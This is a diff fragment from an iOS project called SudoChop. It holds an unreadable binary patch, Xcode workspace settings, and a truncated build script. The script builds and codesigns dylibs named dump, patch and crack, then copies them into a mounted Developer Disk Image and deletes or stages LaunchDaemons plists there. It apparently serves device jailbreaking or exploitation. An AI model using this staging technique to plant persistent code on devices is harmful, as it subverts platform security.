z*WBJ2Q}s;`rf_cmZ;M7;eMa(fHCE95zSM7LQ;9*o{(wQYHU+f%U7}0ZMoGome&OQO zrOmD{rP^^bRRyikD2RES_C{%jRV>GAMi*cHz3WFVuk>=kdz)SVkt#p=HKOseSii+} z*>y##U8LHrWHRi!>iUBjc%{LWh7=qqIJm|2r;7mqZFyI!aj}ZPRo|Q3 zRory0-KE-tjmwgV)bB8LpWj_KyE%q%6F=7}($#Hs+caIf7d*Dv9U|4Ax@);Z{fe#Yritw<)qWI9#EpbxwZ_>0DK4e4yP4lz&D}H$1Ee}o>pKFu zuXsA3O(5!bxK-C#yzY*4d)-muCU>+*cgMOpIohi27Z_=#%@n%pd!mjpnG>@n=Ne^e zv+K-hdB!)+Nyh1(*L@|`%mN0-gQYt54R?aO6=k$`w{f?noM?B4%CEQ+E1w_8*3tM; zIhhmtQ`?xk3>m43o|tDWyoZj;9ywWiMQ3?Kgdyzp70-CIvNEMQMyf-6T3>gvJH;59 zN_CV}=~0VDl6tzhJJXiBySQ(0cXfAjcX#)YDpTj-QcaiYty0a9>WGrI)EF0*3L`VY;DK6Q^a24y4v>!8ffx9)7b+oAG#kzSd$WVGfJ&QLdO z&7+}m(*q4IXr>Rx+|%4_lWMyWC8K7)DY}0OY;n)fMq~f$I7{G zZq_EhI=tGw_L@uY(=N@{E}c~1cj-nqKULb{e!#uSz1h9Rz13al-X_)CrJ5tvT&dLIDphdiq_dZB(jRLP1;i;^h~ z?PBqfwqDlSg_rF(0#~#*nPzPr28qUPM7Kospd;{rc`H1b@q1mQ8!0Uh%om_H%^%&)w$Y| zmbR)znE72W<8`ea)E{HZ9HmW~bG4Q#-J-2GmAJ(3`=m_X{aMtHu%cjGu1(7NBzMzh z=#z7eK8Ej7Cu)7*C}Ux>cjibMnBqyqwby9tQ$;I-Tv*i37RSbCnZ^Br`z4;@aK9+k zg3a!ir7DXXWutdZ)b%g+(d+K>{vF5#_uHj+za!Oo1#CL$vj_Kk?)Qyr{pK)U?Z?GD zVNx>oaDVLnv{b}rQe99g;!8I@uhw7v52;sN?00SsHr(a@-u;97NB4i+Ke;cte|BGX z)9q60?v&~hsoo{kyQR8Rs>`H$k5rfMBA!>>zq$FHk^4_Kr%`wU^pLKQ>Po3Iset|L0ri``}mAWxtXK5I+I-0J}XIq++2RGrbSC1cO*?W z`WJotR5Xw&SxqRqwM3kDDW7Qz&_*&`s|`J-Z}A;-vL{dC2A?UV5snyd(NeJIX0h&J zOKne}$Kna{SUtfWnA#-1jg zrk-Y=<{o#5NOi4L*GZL$!2MEPFVziF-6+)uq`FC}o29x%s#~R6C{>!J z?NZ$#)tyq^CDq+h-6PcprAkxukW?R*>OQINFW_YxY5IE#Z}`=d`d!BV>94)!tqsQ3 z-VICg*%53xB6rltoavMDvRm>PNcz;Aj7cpCI$$qcL)P#1a0HH;%Ev^`0S=rhf zuq#M2-8fCyKMt?{`YZ$usQ`an^Nz>#qPOKCy|XckyW!;Vo%|U)*KD>{fTpF1IB5j$ zQuS)C>{|hHuknB;wj$KM{>5Mw5P9PzuWZ9tfZcxY5@XA~0>YhZJg!(FNp8F_g10tQ zfT?~hjqxJhit(ZG;HmNcdh(`Q1?Z}a(BJmNt2ZhjCZ!d+O9e>NMQHJ@2w_DpGpiV3 z#@mU}taAkfp}2*u2rG+TY+ErkjD*W$sI5hyBHCwTFNL~L0jc4;(1&^z)Gs=_c8SP;?<*-zbNR`>|Q-vN5dR5^R&x>-;|$|;>UmQ2Wu zfpd?EB@--dRmyj^WX$VIM&70Ky6eW$oDEpKJ>$vqOkrx{VU~StvuCPQkN?fw%9HPz z={L9X%<;(5yXQ*vWXZ(HGvC9L)IJM&p2eP}nrB9Pmf#&GH~8eV?w>P-o@IDuxfX}B zx@WYbKD21m#zfV?u^KJQ_Bz&G7q_PkoWzU4tBPAxYIdPA(=>Uq<1!Sj|>Sq*qksvnjta(OO# z-uGR(@_gX=P^uTD`mRin&tV-^QGVIUwOWk>ibgt!1&pTvB+!O zxzukR%=3eXX9`MJ*gcm#KTGu^seW8saLH3Weg!kg_#Yn2{rmS}l|D6Ev^ihKbMT%& zJb(7n^MFU;1rNgu;evY59Acmq@L)P`5fYXV;5$n*;5*)_BP@xK45`osxqo`DbGBlrY9hp*sU;0GF(pWrh53ctf&LIj~duVWBF z=oLiyL8BoTw!=ZV0NiJ-0S%xbc%dy|pA|c-*ulZaf&-3)wKw#I{xArJLONu?54LksQU@trj`-R}VHequB{r+1HByI!w>Ku_)Q3BB`|>kRiGLKgAMSL6CXLz(b)hR z0r|s2slthl&Rd`x+zM0S4p;(r!!lS7YvDeiPVkVPaBc$P=0qQt8EOLdyYRgW-@76J z-@AyTi?Uqp0H3%h&xKE1_{7x{#=s=NAFjzj`7Zq8S_72hq8!&2CfV^=(24~?Jcn)5Gmw>pri5n}v!cE-VZ^1Y49sB^q%6$ng!>{l={3V2k*m+D4 z1jNh}0uHzxW&^r-(8Yr;9^`vIfREr4_)LhJZ2-U4#KxN4pas$eRSLZh&Ldo;c8h}lq*c3{hhmr@OZm0>(fZPiu-l5nTnhVolKHLd+ z0dWmo39DfZtOM){-3t5QDL4wp;Ut^}^bEzW&^O=$ybTxOJs>ur#3q#3gc94j;m`@l zx4Oi#?he3Lbsq=(RTqENMRwg&a0br7r$DaM{RzmIx|iwNDuW5kpn?sEUp;KDht2is z06AZ;IZ$T3me2vZKwr2OM!+Z-4P)U15Sx0~P>(p*`w%_`%CAS>)+2B0;rDvzQV%`q z;q&_BQ2mC`9y&r#=mY&=03g49CQwFw%BX)kEQhs#t@X*R`s7x9{8gX)s!zG~iDv@^ zh+_ld*dQ3Nt$_nVp&m4VMu3eCh--tvFdrU+kKlJ98dinsa5EsMA#xfbr(sj@LL4MO zYalNg;+uv&pci06!-0U@hC^XEjE6a}6&{2`@H89)eAn;dF9Cf6HNj~kx>y!{b2|UgLEJ-nv4c=q6s=Q83%cQ zjZK!qJ+J~+!M(5+?t>kGo=woR2|j3o{Y|jH$)oT%ybNCp(bNUe&;zCcxzQBgHC+gc z0hvwL0CJlmw<$4giVvFZgxzoe4#FWg0_Wfvcov?A^Kb$1MN@p+^jr8IeuSR@e>A%V z`a%X^XEW?D6iRz@Fq}3Gsvacx+C zAZ}sAEsVH@VNV$LgkeM2OqdM?fS<$gaoA$Omauj3AP|?Zx8O6thA{LGL;tW#a2b99 zbO^5u7N`Yv0K3AmD;&GRu`3)M!_hGuo5Hav9Gk+?GaNm`(K9>+&@=pQ*a;`$Jt11C zV1p2_gADWNT5w<5d|@TtQN_DycTKD2Z&{helP%Tg^`d6V_+K00DRE`U$np% zEwH!6M}VCzu(1U;w!p>~zYEc_GME9qT2_Udpapb-UO-tb`@=w>jF$MkCFQitf+>LC zTT*6A%51p`HUoLnavx9^T0Q}X;7K?NMtRps{`dnhkygzfUl#`A)4}|@pUx5j>f;y z6M(X!XTltq3wOYB*a({e+0i>-H|&Ld@D$+d=#y{;@Od=(5KTTrzXIqIgCAlNARUk$ zvkj0F!~HS);Zb-To)#i*CEN?x6^C7M4*+(>aZlV%*aPHZ9QVaN1_$6Uphp~f#GywV zdc>he9D2l|2hUrIxbtuU$b~p^A&y*#`vg9RuYg>L`vHCebdLKKeuuw=h_3|1GrkH? zm*Q`RARw;s_%$BC#?z+6heCa51Wf_o#*;hoUWfr=98d1VlRNQ=kOCc{3v`2?&dE#M!^`k4JN=O$b~5|9cIEDm<#h^5iEhFupCyw8n_QOz$VxV+hG?x2oJ*} z@HiZVBk(jFhf{DCo`o0SWq1wVfVbcxybmA2r|<=Q4d20!a0#x!RrteLhH6!rKNYA7 z)gch95CTr{Ky9cC4WKbJgK&s|D2RmwXansb2~wdG+ydR9Ck%p-FdFbpD}2%l`&;dX zN8w303gk#Da--G9fS#?F!e&61HhbX*_!WK^qAj`8mYiwJJ#8tk?L@d8R>MZ%zP7}o z?OQ+$+Tqi7__7_oY!?IVAQ8x=cH~eya;V(`SOzO#KOBaq;2rn`K4*!LIJC$A?eTwm z?r+}(x&isto;+($p0$4fcETPw2d}{E@H6}=M27$%jveX(@#}!i9XbQK-T}Ki%z^?~ z58D7)9bSS9fG!;_!(T!qR)QvgFB0)zVsF5n#Nn_AmcuH*_lZZ~X?Pd#eGPm-t~N%sM{kaQZbDd`LN5iSXlj4zVO!Q^JZ{mIypj4jFe za0e`eU4S0R7mZOUcAC#SB#dJ5q>g3VNjU1MEo2fN3BBSt%P~2appfF9Nbs z-WDPiU!>jyHv_t)Mga97wJ!{VTLBwVx59RK7G8rl;EE7w0?3iHTF?lZLMn8JUN9ME z1A3%w0A!?LQyOy8kdua-G~{$dPDkW)Y!3LeV;qcy+aV9uz$QSCjwj)HAhsR<5TcU; zRe^fkDHaldI@M_eWWron0>q>fb+Qw2==2;AhfY@k8J$}IWp>7oow2!d7K{h-y7OAN zA5OswK>g^Y=>QduHDW9^{3mfLUgYL|?k~bC zLiDH#RtSNCKtA>u1^BT?A?yJB&;vj8zz;pKqh|_`2tDtD)vy-OzbE?lME_pFP!sAv zKOoP0A-C6kuocj|7rOTP5Izy2H`n!U0{FK#@#viep*-wunQ~z@_XP4Ag2eu1s8=FR1fgkpca74LC740%t6Q+bQYc! zVleg$t_I}P;0(A8Ccr)*Uk8(agUQjszr$Zb3`qpa9MTQ$heFr^#C|BUhN9n4{4#V1 zVE0h$9E#tEB5NozhLLx}XzPXz0Ae|8B;dbcyMR~@y99p-!L4F=S0F!z4+O3m&Naii zW;pr`N7iukN$&}RU?||L^do?Mw<-__R^Yo^Gl6#KR^opv?Z&ON8yRk>5BNSK2l8Py zyZ~2K;G5B(!guha5Mx?FGNi$L zSPIMGefR>t7Gf-M97`O>634My0l$uY7$_$T-({gw7B*!~fJtx$UV>MJxDB7&))4T? zZG3mzbeIX$tJ|J~7ljzt6ub}vcf-A~4$yDhRiK>l*fE|w7(W=uxABMIN%#SNh2Mpk zfQ$*Pp&iVE1+W<2fluIbAtpA42%z3ioB{KI>n5Vh#Mj|XA+m1<2e<+MW)q9-aquWm zX7*7bCItcCPpSpPauT*p$_4Ui(ph*`h}*5;f!dG-IWQSc19sp3iV!*6pVJ8NLCzh3 z{W&B+$|DCS zQ|~6503S?FfHr_`lhJK5x=kieCT{@pWb*TH9xezmr7Do0Q}D|aCt&-OSRi+%pxYF5 zo6;8sz+e~#=rRSrO_>O{Lmo_p=}-u-3NaOZrbfc8K>kd{k5lpE)G5GqQ}baNtOfL% zie6L6!Kv6b^$|D#hv6w8r>35UbAbP+qW9FVg_sry=sc|Ug`r%51I(-y*=a2KHCwBRUjb#!_y#C1zY2r^xt<>i^`HSX27H|#1>{RU{>aDI`R!mlEC6iJ zzZZyc{{65K@J0SEcnI)A{$ub2V1NEOK(BoC%6|o3gExS9=YI&AKG>d54DzqQ@9?J( zGXtP9R0njONlwi4KrLtikq`~!#7y*@xdc`LKAE{4cEWCW7>LWv$Ke2wdo$mJPvBGd z488!$pGmp11XKbOs6bxK3I;p4peEFY?l1&~!>vHB%pzv9#=`9|1*QYBnl&5HZ`M7q z0?>2TI>3LkHUj>eh5u&Zvsp&~9cR&Q%_6R|&cHM99J~%cz^{OxX3?h1#!s`YfRAS5 zquKaqHa?n7nX}3H*_1V#a%OLU2Y`H?O>ft7nT9G&ABK<0lqCD&kD%10%BMY1#N_w z>w=n42kJpXXadcFc+ch9xzRwp=h6nuZ3`VB8PcFLbcG(!8~VXO7y`o~14h9ZxDBXN zb0-1%%_UZIr^8H`19M?MECS*-cPT6fd^vXw+z0q`E^(W?6}AIDor_QB;?ueKbnfGD z5Qyj8r{Opd&$(xT`Y`teco|-UHvs?7#Xoc3hmU~VocjfQ4d20!a0#x!Rro`2vL#do z;xw-+REI#Y0{JkHe3(Z*%&QG`p#k9gdCh=!bsjO8hyUlrLIMzndBk&G5)jXM#B(0; zoJTz8^@6@I00zS_xD`giXvl)`kPSI78Kyx#%mxW}z(Tka?uL6{CEN?^U_CqlTVNaP zggx*O?1#tT033#=;24~QGw=*N4==&1a2_teJMbQS2%o^`@D+RuKfq6L8GeP|;V&WX zs03!H0yn|U5Ck@GfE#K-DAb2W&=kU;C3qnQ;-NLPgG5Myj?e|VK~Lxd{b3Lcg>)DJ znJ^Z{!9=(n@?a{=fLTxg^I!oihPz-Htbo<97Vd|Quo((r2keHuun!)EC*Tk~2}j`s zoQ8Ao9J~mx!0YfPybbTd2k;Sm4c`ed-vTbE3DM9NI>2BU3FOIqbexZF^U-ZS<<6(P z`II-G7|ka(^NGy@1p>hetsoiFU<^!xTv!hG!3IFj1?aZ`{TBQw#6lIS0X|-cZx`a* zg-c-#aL+=@TZml?v1{Rf;5XpDMd1(&32-Zr(~HIf{#=9~7vaZ62jMuJf{)=F_+E&` zHv_q`*bT&eG4WnZyccJ~G{^_;U%UhG|Kiu+BD@d33vnm;b|?9EXG3TKkePx8KyI!00*J{< z>f}n|u(Amdhm`{W87r3nWv;}JE3tXy8F&WB>yNEHr{v*WdTF?m4dv#~%4gFvaVDoCqU;QXN3Fy6=*suN;eh}hb zJJbPk=-w3Q20dXJtcCmGZTJ`{bBzVaxi#3jCJs74GTa8aFa@x4%_i6i&%x{PCR`O_ zZDmjZUDtXc2KqxfkaKGn0A;UT0WZKC@RktkJkS7$?Yb<;fyuBJo`6H}yAb!8p$fEz zPH+p{1M6TtyboW%*FxMM0SV9s@bmrn`F{L-{{c7#C*fBi)>i`Lu5Sk&p$p7}`G9}d zbKUyq;Uyt9n4kvWrwznnLvJ7!8}5SDfKNBziwz&Z$3kqZ3FOSiCV&q%j)igX0PKW4 zz_lB{1oGtp{O|yNcmO{Vjv!{ zb00aiZz0g8?nBpoT)UrkX@4VV3ixC{KH1N;`;Wmh@VpR@1cDRr%_Fx$7L13-;b}N7 z#G?YLLUkAnBVjZU$480dqvwQptTy1+$C?49H^1Yat#_gf7qx@X6!& z@Ml6C zX#tdZq!ru+e1Bvu5X&RjcH}!Do+O{1OoCLn8}5a5@CkeiKM3(u2f*&9x&rq$6o||eWEE0ghhbOC%Eqf_nqLr6Nlj`I0~=9MfecV z@5JZuC0vHz09hvkK!K`I9c~8vbFw9%^U0x*1ry6_LGgAORogqGF_QF0ur!(ks23^kl zD#Y1JV1@<|30}Y#XJa5qh;zYU2iO18!hJ_~S)cs_zi*O22qB3HAwniAkr1$i5jFt= zfdC;YR0Rxb-4nNGh>BvJ)LB;z-vF{VvNr-EkPz1MdVbHZ=e*i;+VZ)s z>wR4}{iEl6$sn7Sw88CGwL^wg{%loeijZTKUaI6+CC4f~Rq3f}7$Z2JQMjL~F;sFH zS8z2luhM_jcy7ZSRpzL=m-~5;hjDvV_EPl(Phvk+_ETj)RkEylowu0Hd(34XpYS>J z`I_(efuE6kRfI(>VL7W<%LeSCYAbe8WfxU;QDqlZc2RYN8tOO|1lAWUh@w6XaoY>r z--2XPafb`i$)W{zupkdNv7kNfa)Dhe=t_5b(HDDJFp$AP5V4nty+rIKVlNSUiP%fT zULy7qv6qOwMC>JEFA;l**h|D-BK8uomx#SY>?L9^5qpW)OT=Cx_7bs|h`mJYC1NiT zdx_Xf#9kuy60w(vy+rIKVlNSUi9CwEMC>JEFA;l**h|D-BK8uomx#SY>?L9^5qpW) zOT=Cx_7bs|h`mJYC1NiTdx_Xf#9kuy60w(vy+rIKVlNSUiP%fTULy7q*^RwK>?L9^ z5qpW)OT=Cx_EK#x)%H?tFV*%^Z7C5%Is)v~NMU-d7Tsd@nmgJ7XL3+-#6w-*-D zg@>5QQ^;_k3>O~43=7W$!J?38)L5j(A~hDNu}F{b@%at>x$Y?j6M zGYz|1tk&XL$Z_#OWViS)js?MQ!x_z3+{JI|{Pr>5@;yJG&Jr0e$)*LZP;bc{Jji4o z;W0Mz2kIQCBRG$d%*HHB-Nn)``6>vO#bQs((lFDq4AfYr#xgaQsj*Cr zWh*huvhD0-PY^8ch8-<0WeCG~nfLgB4>8w@Br-9}3bU+e&29V>byldeVhV0>#WvjC zie2mtf|Wh+{z~t!bO$Tl!OGW|%SU*BrI}Wq34&GeB%t1^6s|&@RpwcB7ZX{Bw^!+Z z)jkdc!Rp?Wq5sw1UoEfIvRduk)t@7))v{XSuGh$Cjay!mgPpAL{u*-v^Vz`oW$%2cMa3H8@|d;KB)3W5##*f5F}{L9ZL_y+_O{L5w#VSR-rj_!m}~p>+|5Mp<$ji7ciXq% zo7lcH2zGR)9|IVOxpvIKyF0$*-;yW??(yOT)aM$E9=47(@s0KVzn`ro|+dF{5B zJ>40ExA&AGvpugd7kTZG*Pc&ry*FWoy=K@er@g+ry-WEW{qNn1 zTKmkg&m8;AvCka))Y@l`edgF_j(z6XXO4ZRf?$6fX4!9+{bzAGH**WOaVJ%*WHmC| zzaa?zD8MX#^rSb%%;05S<#p8i<46!32r$m|k9Z>7QPb|Ui53E3~gK8X9 zit<81c&v1xB(4O@9;Rxa9Ewg>KvBW;a@PrVKW@I|HEqi zl}Bf~(hYU~dJH@H>v_!d*DD<26y`Z1vm?>S>WHk4sB=V}BeFUot0PPB_7S@{vI)CC zvV#Ns$q{O(<75yVO~Y(QhjBai;qQ;5Q<#bRM`t6~qjQtl^bAc z$7FkK1qXwmrYWs4Q_UzU@%KrM`D*TBBId05C-SbDh8wMUil>o(&1=j--5T|3%vod3 z8g*;bty#`0WL+cc8d=wDVJ~K`F>7r@%vPJq*`$+29{HHL_HPu@ncfUW&$W84y^Jfk zn(MfYJDI?}Ou`JcW~kM3t?#PVj%w|w_7n78E3;a?*Xq4i@3nfbm09g?==JznWK&87 z7h?yh@w9Bd?KDi&c>ckWYL1w+}B)0cB4@;-eFw{sU0xsUsC52v5z72fAlzQ8_Cf5Z1w;eJoM z-_uK3f!sC7oZXXJ5aD$|k6nOVHdYq+^HGCDH{beOlCUI@)mQM$0vNwe170(ekH;}7PBV^!z8j8 zgxcZ7T*b}Y${pN|TA^Cu6sDqPIFqM%iFf#juTd*hD^x37#1huBflX{>2fH|g9O^}L z7R|{dhgRfrE`@YKPW5`y8$H+4b3J+0yONu@h1Tc(Fe(Jxt;OWECZ=D7B(yVLwqX@G`IRF7x;j zc}2-7N={MBS%ti!7Xmdml zK=0A=iq>C-&n(XerF5Y z(0}v+P6T0$oMXu#GYg3^8<2@ahEafGG-BSj*)YWyNq#{G4hVt&Y2*ruc!KYsBgdZWmVsP z>)(r9>OaLZJkLwmXMOvu|331m|1qEPId)pVCI}nE(4MaJWiX?t#B2?&;A+g+z-$f7 z)?fl^HkiaeQM<8|>jQN2$e58k`Qo*apPW zm?Tn2C5v`+p+7?@$L+`3N$iDO%0IY@YqlsvHEQoqTh!4ZK&Ud`fb>hv+2ZWu3;v=xrS;slvBfR z_=PIu(r__LS;s~;<7OM~U>Aot9)xlANhFz6)QL-{HF@M?w{dPat|L7tK~8aciMs?j z#mOm7PH{JLD|c`=_i!JNpyxO}$LTpv&vAAe_c`;CQ=Hw#*=<~eMJ!<%>)Fm9)CFOq zDD>T^A@S(Hk-i)0yOF&%YC$X7(1C6Y#C{v;yOI4ivfoDfZ=~-=`fg;ujc!2yjc#EY zpJH!~_HY>APQ2a3r;&pi@wv36fG(&N-;+M{V*tY#MJ3mBJ8md`BC?79Cy$|K{0yGr zX`baZ<{+o|@6b=YoZ{saFQ@qBtYR&`gLropzlD=Q*jRs!?X2;|T#nmqtY+gW*hS-6 zsL|L?8o$gtsMYubKH^`evnqwCU zg~%pBHVLvxa7PKHRB!=*N3RKEkyXOgjAsImAe#i)Bs|0Oyu{nQ%lmxDJoKIL6+hvI z64s*c1lc6`doV%&3HnaZcft{BIL?V6OpGR(Y|fz_9q34BdQ*(OCJtgSW#~Uq--+%h z@mB8OZth_cGEbb!bY!0>`$TgjzKZ@6KjvHHoVb96$UAWv>-imfP2A2-om|>dz_}FCg(CVP>$8Sa z8-&T;N%lsv`%2E^Z-i93|?_oa&v8&{|AWU&zDG8W0r8W9a$)`Q~PtkXZ zzEk?*f0t79pHhmxQ%0lb6g{WtIYrMYdQQ=Eik?&SoTBFxJ*Vh7Mb9aEPSLa9vTOkqURJnr|3CF&nbFtqG!K_7dFvz6FoQ4a}zx`(Q^|$ zH_>wwJ^Nj}u!)|V=(&lWo9MZTo||07ZQRTKJjla5%9A|JbG(Rto4m$XxS1yUNKGRL z^-_x{!40H(Kh+JV`gyKTg`F_%TKWQVm5Iaq~giE;`S*P93J=kfQou)m_bJ%H`ou~!dzD3Sy zOW4S6^qr>fG<~NXLEmTBBZgQSq35&DB83dHgRq&No9VTgn`oxLX4i2W@@zJNd$}Jy zHhY{W&}%cjHj{I+*U)1#y*2xuDymt`QdXeHW}ET7G~3A@^xIsX&D+xxdu(ox&F^3m zYBg7*xjdT7qxmbmj#|y-(Oe$Q)olJbU$TtjL748g($A$E{TPayNp~yhS8z3EOn2w$ zW=uDuUl9(|&FDAw!t}|wp>%cA)l2`7FK{dA-(be{A2DOP8Pm;}ZpQT0tYs@^OFt5X z86oaGqcQG0L+%+($)+W3I0rYMQ9u{;oKen&xS0$)$#63n^2v}-hHo?DR^*g%7y8f8 zcZR$&p63mGqZ#k=KKjqle}?`u^q-;s4E<;P%p%sYojb3wZy@VQ+-25tyokHZnvJ{6a+g{2aFs48oik5=f^tdF0a`nditn zrx!BMk$FxDgBZa@$T{aGZsB&^NX|qa!VEcP@OzD6&J)b!1>Qx@Ic_3Hzd8EN(Ql4^ zbM%`d^PH{dJ4fF+`p(gJj=o#SxJ6@12v~q{7Rt8~fv$syeysho4bru(JDVK8vSMxIO zp_kV4_yl>k{sM2cmTznMww7;e`L^E6{vd10e$$Jg^$@`r7e9d>L zoflydcAw`C^H#A2`^wwJ9_;I!9+WZ!yE&(vxA+)4KgTTRd>Mpo<8d=>)5*k6+uqE* zOkpb1naM1kjM{p)t#{k%wQUv4a7%67d0RcT)sx>=4BN`8?Qu?WCJ6IG z^pKy5TgvwhTOd~@Via50yo*Zez~fS&X3=Mf%b8Z&qj+2-pxU!VEk zvIP0%uVO75&~N@$WSMWjey1_aKOKba^w=(n`ZPqp?Gi~w-|c*N?V8bw4#>UT1zd-I z+C9x&e!(pl$hyF+1#Rg>F#|AX!4QUF&VsSH)q)#wpMIw?ESSiBOvZi+?5Dt-1yA5U z3d~V(6n(eXYkR%6*K2#dw%2R>vuREqdTrm4&J@vyew1K__Ihc5E3dPVm3Y6seA*x8 zI43z1gdOUkUI+C$sMkR~zttFaa8n(!X+t61=|x}qqeh2ejNp7matY?{a0R~24tH}8 zlX!qfc^or$u-gvqvct=`?+$bMEC@Twx1*XJ&Dc@Bj`HnT#)Wvddf?-yQ=cMB)uy+ZF4dZ+Mdo<*;P z`YimCuW*xv|KTV8%K{d%kK@M}2njq{HO?_g~TPOK-GFzvck)hu<3_E$N z(_Z}fP6zli2s@8P7M-s}&z*0=opxTv3Va`(eIH#q<2JesU?9H7F21QQb9kS*%){Mv zRljRv5=lnRUGL&vd=Fh8WC~N6&J5(+)egJ9!$*9LJi5xGt30|^vzVnUX9GKsL09v4 zt>aV>7P-Ts801hCM+zCVr2`!?OOZP)>V-QjGFMR<7a+HyE4c=F6xm^s+bD7yMeeZ3 z{T1oE=sEQ3cN0Uun-~_o%lmwY9E#@i19~pfZ;>2}sM>h1=5G{8JP%+n*04D{cl z5Z_G?bM)wm@27|Sdz4U08JA!WJEIrK9!z?{+;udb_E+#MqbNC&+u!nD?$FU&n z*#__T^j=RH_4HQHJGh&Bn1ns{oQyx;b1KuB$t>pZK4$7Uk5BlV`FzcH*lo|BahpBu zwWmAue_4mU(r8H!?5NjmsL|^w+)A%Ec?UImeSjLhR}DSaIK|KwB#3Rez z$uvWzy|YoTcWcz^Evw%D$sCgc?PxmyusVNi!A%7*+Jr-M-7&z=n78;w#$&(56S3pssZ3`k&!U&&*}TVG^i(YC zVp$je!mlhrw#9bdPp}fehlDd%+p`3{&V<%kN6mw_E)dJdi|HNk~OU7 zceZedzc|MK_G7R8&jjHBcRV152Iyx%4r&h=!Sy_b`x)>qpYb*BWWW#j)&^9w7;_F- z!74W4E(iP>geB%KF?Wf%OUzwj?vhkWsle_^F6AFw#kJgkc}s3#5)a_MO3YuPmy$Pe zPbG3FkweLs=%wUWA}m55CEM7^9`fTFdGmmd@2ctv%9!B=1M>rOQgXKS1 z{)1zY+290{u!q4}w4gP)bfOzQ=tVzDC}jv2V5Y&>auee*&)~Z-%i#OCpC@?{_cHiD ztm7!P)Nv{ZhXm+hNK5Q&NEa?bPD8FjjUhL1Gn0|ikf}^ZPD5t#GVd`L84dY_&zX;J zXUMn6X^5PL$Z5!OHnWYL>_J9De4|57awZ7N;z=Z#RP{AdjY#FtHRF8P6XjlyBKN@Lx)k$7%I7xe;}8k z*Wg&R*77krIehJMe_{Fen(vw|%g;xA+~R5n9p zGgLOi-2Si_nvh0wGRdJ8dLPynISteQFn2%fLEb=}VcUanxHpE&cX$Tbv_!tcI98tiz6r%4D<{nYWtvrJIBR=E@Hlj|2*(;Jc zkCC{^iqTwxnJUavaTV8c12^NniaT(x756ZS2bhexE6iPC?h12Pn7iUx+*ZZQyoL-a z-eC?Opr;CVbDliU^Y5Rhuk-sdjg>)ofjwMsKdXaqq+O3R%gEn?aFjb3<*rA46@-6J zL7#vBA_y;((}m`_@KyE&;YD_Lk=`y^9)uTXqyLM43Bu8-WZ~Z%-GY4F)9Che#h)A9 zo&F49Am<~a(J~q>qtTahCBCuI*YPm#@Cm+~(cdBO(LeJmOVG#YRjg$Lzw<{Bj?vGU zJo+#SZ;$cz7;lfco|_oYgUmp_W1eIduj8)9%;r7j@)3F%^9|qfJqwZP7~jB{^{72& z3w!zB9uDyr_Tjfb!?Dfif(*tEWH3W1rve#_tz;aR;U>n)VC>U8$BVpz{>JKWtp3L8 zZ|r>ZHugK@GgdxhS7B6{}*ONv%jARK3gae5zjEozT*2jiwN aJ@|kBh_3g4|C)a0|Niy=|8qEQ#{U4WDUMwL literal 0 HcmV?d00001 diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/WorkspaceSettings.xcsettings b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/WorkspaceSettings.xcsettings new file mode 100644 index 0000000..28f6741 --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/WorkspaceSettings.xcsettings @@ -0,0 +1,22 @@ + + + + + BuildLocationStyle + UseAppPreferences + CustomBuildLocationType + RelativeToDerivedData + DerivedDataLocationStyle + Default + HasAskedToTakeAutomaticSnapshotBeforeSignificantChanges + + IssueFilterStyle + ShowActiveSchemeOnly + LiveSourceIssuesEnabled + + SnapshotAutomaticallyBeforeSignificantChanges + + SnapshotLocationStyle + Default + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist new file mode 100644 index 0000000..72d540b --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist @@ -0,0 +1,39 @@ + + + + + + + + + + + + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/all.xcscheme b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/all.xcscheme new file mode 100644 index 0000000..f87e003 --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/all.xcscheme @@ -0,0 +1,110 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist new file mode 100644 index 0000000..8bdb24f --- /dev/null +++ b/SudoChop.xcworkspace/xcuserdata/posixninja.xcuserdatad/xcschemes/xcschememanagement.plist @@ -0,0 +1,14 @@ + + + + + SchemeUserState + + all.xcscheme + + orderHint + 3 + + + + diff --git a/build.sh b/build.sh new file mode 100644 index 0000000..7cb15dd --- /dev/null +++ b/build.sh @@ -0,0 +1,65 @@ +#!/bin/bash + + +echo "Sudo Chop!!!" + +# Clean up old staging files from subversi0n and rebuild +rm -rf ddi.dmg +rm -rf dump.dylib +rm -rf patch.dylib +rm -rf crack.dylib + +# Build dump.dylib +cd dump +rm -rf build +xcodebuild +cp build/Release-iphoneos/dump ../dump.dylib +cd .. + +# Build patch.dylib +cd patch +rm -rf build +xcodebuild +cp build/Release-iphoneos/patch ../patch.dylib +cd .. + +# Build crack.dylib +cd crack +rm -rf build +xcodebuild +cp build/Release-iphoneos/crack ../crack.dylib +cd .. + +# Codesign everything +codesign -f -s "iPhone Developer" dump.dylib +codesign -f -s "iPhone Developer" patch.dylib +codesign -f -s "iPhone Developer" crack.dylib + +# Mount our new image +sudo hdiutil detach /Volumes/DDI +sudo hdiutil mount udrw.dmg + +# Remove old files +sudo rm -rf /Volumes/DDI/dump.dylib +sudo rm -rf /Volumes/DDI/patch.dylib +sudo rm -rf /Volumes/DDI/crack.dylib +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.dump.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.patch.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.crack.plist +sudo rm -rf /Volumes/DDI/Library/LaunchDaemons/com.sudo-sec.panic.plist + +# Copy over new dylibs +sudo cp ./dump.dylib /Volumes/DDI/dump.dylib +sudo cp ./patch.dylib /Volumes/DDI/patch.dylib +sudo cp ./crack.dylib /Volumes/DDI/crack.dylib + +# Copy over LaunchServices +sudo cp 